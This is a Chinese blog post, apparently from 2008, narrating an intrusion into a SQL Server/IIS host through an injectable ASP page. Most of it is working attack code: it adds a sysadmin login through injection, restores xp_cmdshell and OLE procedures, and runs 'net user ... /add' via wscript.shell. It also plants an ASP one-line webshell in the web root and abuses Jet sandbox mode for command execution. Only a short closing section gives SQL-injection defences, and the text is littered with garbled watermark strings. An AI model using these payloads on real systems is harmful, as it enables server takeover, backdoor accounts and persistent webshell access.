[攻防手记]记一次简单的渗透测试

上一篇 / 下一篇  2008-02-14 09:54:15

JC.[ N3V M`0笔者的一位朋友应聘到一家公司做网管,据说整个机房就他们俩人,工作很轻松。几乎是没什么事做,但是昨天突然给我打电话说是机房被入侵了,被人加了很多用户并且什么cain,arpspoof全都丢到服务器上了,想让笔者帮忙看看是怎么渗透进去的,于是乎在敲诈了一顿烤鸭之后笔者终于出手了。在经过朋友的同意之后特意将本文写出来!IXPUB技术博客F3s^m};JO

T2VyN`.W0    这哥们也够狠,除了丢给我个IP其他什么都没给我!IP是202.108.59.XX。没办法,自食其力。用superscan扫了下,发现开了21.80.1433 这三个端口,因为我只扫1-3389 。并没看见终端的3389。看来这家伙是怕了,直接把3389给关掉了。 用旁注的工具检测了下,发现服务器有两个网站。两个都是ASP的站,不用多说了。先寻找注射点吧,使用两个啊D都打开google 搜索site:xxxx.com,一页显示一百条,扫了半天只发现一个站有注射点,居然还是SA权限!不被黑才怪!

dJ8Z_@@0IXPUB技术博客kb%y|~4nN9m

    既然是SA权限,马上准备传个VBS上去,先开了3389在说,但是搞了半天居然用啊D不能列目录!telnet了一下目标服务器的1433发现端口可以外连,于是在注射点后面使用:IXPUB技术博客3t `0J!Lp7p![4mWw7}
    exec master.dbo.sp_addlogin sadfish fish;IXPUB技术博客-Zvp4W@jJ0q
    exec master.dbo.sp_addsrvrolemember sadfish,sysadminIXPUB技术博客`[mzM,`&Q2ZI TH#P
    来添加一个用户名为sadfish密码为fish的SQL server用户权限为SA 。在页面执行两次都返回成功,说明添加成功了,马上打开查询分析器连上,成功连接,但是所有的存储过程都被删掉了。IXPUB技术博客d(kg I NaK0e-]

IXPUB技术博客'cr/\-wyo7n$[$Mp!p

于是马上想到恢复存储过程来执行命令,于是在查询分析器里执行:IXPUB技术博客 b"zC s7| O
    use master
7Qq$lm1{A6d Q0    exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
$p~-us!G/J_0    exec sp_addextendedproc xp_dirtree,'xpstar.dll'
&Q3S-Q La!F.D Q2m0    exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
\pm i.L,En0    exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
SI3R7x [X3d0    exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
n$I jc$V'{3]u0    exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'IXPUB技术博客g-C%~ \:n(lpt
    exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'IXPUB技术博客-]C)[#D/H$Y)o
    exec sp_addextendedproc sp_OACreate,'odsole70.dll'
'@#`f,Qex Db0    exec sp_addextendedproc sp_OADestroy,'odsole70.dll'IXPUB技术博客-D}u$A M
    exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
T+c4e4`%B2p Ep8X0    exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
e(]R;c1^G0    exec sp_addextendedproc sp_OAMethod,'odsole70.dll'IXPUB技术博客i'U7ntdbVjb
    exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'IXPUB技术博客8?UP\M%N m}+Y
    exec sp_addextendedproc sp_OAStop,'odsole70.dll'IXPUB技术博客B.Mhg,K'U*Vi-IB
    exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'IXPUB技术博客 }G4h#e:j!v'u
    exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'IXPUB技术博客#v$N(Bp$e0t
    exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'IXPUB技术博客y].Y_(^
    exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
0rP%Z r%Q S!T0    exec sp_addextendedproc xp_regread,'xpstar.dll'
'^ [+qi)L3r eHP0    exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'IXPUB技术博客{5Uj1_A
    exec sp_addextendedproc xp_regwrite,'xpstar.dll'IXPUB技术博客1z/d Y8Rm%Jy(r:Xp
    exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
|yN3@la0    就是将以上的存储过程全部恢复,但是在执行的时候却提示没能找到sp_addextendedprocIXPUB技术博客Lw7j:[9I
原来管理员把sp_addextendedproc也删了。

;f:JDbsXE _3G5m0

j0y6M;OY,\{0    于是只能先恢复sp_addextendedproc,语句如下:

Y0o(Q4[a&V$s[5xV0

CE,U+h9C0    create procedure sp_addextendedproc --- 1996/08/30 20:13IXPUB技术博客!a?$rc7D0}
    @functname nvarchar(517),/* (owner.)name of function to call */IXPUB技术博客gY#Bu d krW
    @dllname varchar(255)/* name of DLL containing function */
e0dJJ[#NKWH0    asIXPUB技术博客 zp-h"v sq V o
    set implicit_transactions off
Y4a\.r s|3d?6j8J0    if @@trancount > 0IXPUB技术博客b!T]?'l
    beginIXPUB技术博客!b `L#\UIk
    raiserror(15002,-1,-1,'sp_addextendedproc')IXPUB技术博客C o/sisr\,i8?)Tj
    return (1)
@:sz `1p#|0    end
.g~as)fY0    dbcc addextendedproc( @functname, @dllname)IXPUB技术博客 ?#Ie1T7_I~K%BT
    return (0) -- sp_addextendedproc
[X,M%u8S0    GO IXPUB技术博客 qh)s;zW1P"@8zU

rd)jp7J1J[ic?ku`D0    执行成功,然后恢复存储过程,成功恢复了所用存储过,但是在执行exec master.dbo.xp_cmdshell 'net user'IXPUB技术博客3L*l)\8qG3m n,l~
的时候却提示:IXPUB技术博客@4I2}3KO)Vb!o1l;P?
    ODBC:消息 0,级别 16,状态 1,无法装载 DLL xp_cmdshell.dll 或该 DLL 所引用的某一 DLL。IXPUB技术博客#x,~&T2X;h/U-Y,?
原因:126(error not found)。
$G4ZZ\0i b'[m)Cq}0    原来管理员把DLL 都删了。然后又想能不能使用SP_OAcreate来加个管理员呢?

.UX*EmUk,S0IXPUB技术博客*bH0zC$o-A)w

于是在查询分析器里执行:IXPUB技术博客n+WE9l'm1Z^g
    DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
,IS6u xO2\\)D#Z0@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'

+r q$BZ2nds m0IXPUB技术博客$eO'F2n}8m%\

    来添加个密码用户为sadfish的管理员,提示命令完成,于是马上执行:
["|2k O+gB/] r7p T#Ub0DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt'  就是把netstat -an的结果显示在1.txt里保存在c:\,提示成功。IXPUB技术博客xksUI\*l!Q QH
    然后继续使用:IXPUB技术博客 x;v D`P
    declare @o int, @f int, @t int, @ret int
8g!B y7h qJ0    declare @line varchar(8000)
r,__:]_'M,lG0    exec sp_oacreate 'scripting.filesystemobject', @o outIXPUB技术博客 mb-V:Up%E
    exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1IXPUB技术博客q ]'|W/Z m y0sK
    exec @ret = sp_oamethod @f, 'readline', @line out
j[+^}F0    while( @ret = 0 )
;}l0~8`,Bw ojJ,Xa0    beginIXPUB技术博客2C/I,Y M4?iGN%g
    print @line
0h1B D!?uJkx J0    exec @ret = sp_oamethod @f, 'readline', @line out
3pIImI0    end
)LH!F#lUSR.B0    来读取1.txt里的内容,但是却发现不存在1.txt。IXPUB技术博客\dNL x

0L"^u`'d^5a9GOj0    难道SP_OAcreate也不能用?是不是wscript.shell被删了?歇一会,整理下思路重新来,先用xp_subdirs来找WEB目录,语句是exec master.dbo.xp_subdirs 'c":\',发现服务器只有C、D两个磁盘,并且文件夹也不多。怎么越来越感觉像是数据库服务器呢?不过既然有数据库了也可以找到后台通过后台备份拿个SHELL,不过这个SA要是拿不到服务器权限那真是有点丢人了。用阿D通过刚才的注射点扫一下后台,竟然没扫到,只发现了一个inc目录下有个test.asp 文件,打开后竟然发现了WEB目录。

Z Z _4e%LL L7n4A0

G?Z2g(s Wg0@0    原来WEB目录是C:\Inetpub\tianhong\ ,一般感觉管理员都不会用C:\Inetpub这个目录,自己也就没看,差点坏了大事。

e,c&gW)^0

-i)`(vy;^O1Nd1u0不过既然知道了WEB目录 就可以写一个一句话进去啦 语句如下

6R$j ^ i{u,v&n"I,s2}0

5v9TS5P/nr4_U0    declare @o int, @f int, @t int, @ret intIXPUB技术博客P1xzhA8`L;zM
    exec sp_oacreate 'scripting.filesystemobject', @o outIXPUB技术博客R+D!C'@Cfp
    exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
S(T [2Rd9`'n] FG0    exec @ret = sp_oamethod @f, 'writeline', NULL,IXPUB技术博客)GW+OPh!?L9E5[5d
    '<%execute(request("a"))%>'

9yd!qdN0

qA U*FG.C,s"DKd0    命令执行成功 看来一句话写进去了,马上使用客户端连一下,连接成功。IXPUB技术博客4j ?})B.IzI

&z)k"iK9B|0y*Ln0    马上传大马准备提权,服务器没什么第三方软件->开始→程序目录不能浏览,2000的操作系统,权限设置的还算严格,看一下终端,一看吓一跳,管理员把终端改成了21端口,第一次碰到。IXPUB技术博客W5Z p$y!G@2[

IXPUB技术博客3U,{2O(R+r:_

    在WEBSHELL里转了半天还是没什么收获,感觉还是得靠那个SA来提权,于是笔者问了下朋友,他说你怎么忘了沙盒模式?IXPUB技术博客n5@ z S+`D5hXC

v"T9DvCW)vj0    看来最近脑子晕了于是在查询分析器里执行:
/S hEx$X z rP0    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'IXPUB技术博客 }^jD2Fz

5OGFd _0    意思是修改注册表,开启沙盒:

+P7A$ghd0IXPUB技术博客/xY.]-xL Rf

    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sadfish fish /add")');IXPUB技术博客*Hgw6B*[FI n8Y

IXPUB技术博客[.\F4iLZ]}

利用沙盒模式来添加个管理员,但是还是没有添加进去!郁闷了,于是把SA丢给朋友让他帮忙看看,过了一会笔者朋友给笔者把服务器发来了,竟然提上了。原来管理员做了密码策略,需要复杂的密码才能登陆。

u.lM)c"T%]&s0A0IXPUB技术博客 ZsE l1B"b

    马上用终端连上去,但是却发现不允许登陆,说是不能同时多用户登陆,这个好解决,使用mstsc /console 然后终于进去了。IXPUB技术博客g;FE!nZT*M

8P"q,v)A!BY+b1A+oMn0    总结:

+c8dUU9QH0IXPUB技术博客5Ea)F}.rqBU

    所有的关系型数据库——包括SQL  SERVER,ORACLE,IBM DB2和MYSQL都容易受到SQL注射攻击。SQL注射攻击主要来自WEB应用程序将用户的包含动态SQL代码的输入转换成了SQL 命令给数据库执行。编者给广大的网管和WEB程序开发人员提几点建议:

Y9K1d#s&J6Z|&?8Tn0

i+b]2`0zz0    1、 应用程序使用的去连接数据库的帐户应该只拥有必须的特权,这样有助于保护整个系统尽可能少的受到入侵者的危害。应用程序不应该用SA或者管理员帐户去连接数据库。作为替代,它应该只有访问它要调用的单个库的权力。IXPUB技术博客;me-K5Dl3vQ

1I5`uBmcM0    2、 如果一个输入框只可能包括数字,那么要通过验证确保用户输入的都是数字。如果可以接受字母,那就要检查是不是存在不可接受的字符。确保你的应用程序要检查以下字符:分号,等号,破折号,括号以及SQL关键字。.NET FRAMEWORK提供了正则表达式来进行复杂的模式匹配,运用它可以达到良好的效果。另外限制用户输入的字符的长度也是一个好主意。验证用户输入是必须的,因为入侵者可以利用WEB的开放性对应用程序进行SQL注射攻击。

&y IZV:a0

_1Oa DAxmN0    3、 动态的SQL语句是一个进行数据库查询的强大的工具,但把它和用户输入混合在一起就使SQL注射成为了可能。将动态的SQL语句替换成预编译的SQL或者存储过程对大多数应用程序是可行的。预编译的SQL或者存储过程可以将用户的输入做为参数而不是SQL命令来接收,这样就限制了入侵者的行动。当然,它不适用于你的存储过程中是利用用户输入来生成SQL命令的情况。在这种情况下,用户输入的SQL命令仍可能得到执行,你的数据库仍然有受SQL注射攻击的危险。IXPUB技术博客&O NcZxr

IXPUB技术博客2^?A0O1~"^;n

    4、 使用双引号替换掉所有用户输入的单引号,这个简单的预防措施将在很大程序上预防SQL注射攻击,单引号常常结束掉SQL语句,可能给于输入者不必要的权力。用双引号替换掉单引号可以使许多SQL注射攻击失败。

Jf6UWqr nvv0

TAG:

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-01-09  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 66547
  • 日志数: 1224
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2009-01-09

RSS订阅

Open Toolbar